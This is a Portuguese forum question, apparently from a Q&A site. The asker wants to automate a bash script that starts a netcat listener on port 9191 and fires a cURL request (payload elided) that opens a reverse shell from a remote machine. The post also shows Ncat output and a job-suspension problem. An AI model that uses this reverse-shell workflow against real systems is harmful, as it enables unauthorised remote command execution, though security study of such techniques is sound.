Esta questão está mais relacionada ao infosec, mas não consigo encontrar uma solução alternativa para automatizar o seguinte processo:
Existe um comando cURL que aciona uma conexão com o netcat. Sem automatização, eu digito nc -lvnp 9191
, e no outro terminal eu insiro o comando cURL que estabelece uma conexão de volta para a minha máquina na porta 9191, a qual eu posso executar alguns comandos em uma máquina remota.
Estou tentando algo assim em meu script bash:
nc -lvnp 9191&
curl ......
O netcat inicia um ouvinte, entra em segundo plano, o cURL aciona a conexão (eu recebo a conexão de volta), mas o netcat fecha imediatamente.
$ ./shell.sh
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
$
Se eu remover o nc -lvnp 9191&
do script bash e deixar apenas o comando cURL no script bash, ocorrerá o seguinte:
$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>
No entanto, quando clico em 'entrar', o trabalho do netcat é suspenso imediatamente:
[1] + 22609 suspended (tty input) nc -lvnp 9191
Eu tenho que fg
para continuar o trabalho do netcat e continuar trabalhando, mas eu queria saber se eu poderia de alguma forma me salvar de todo esse problema dentro do próprio script bash.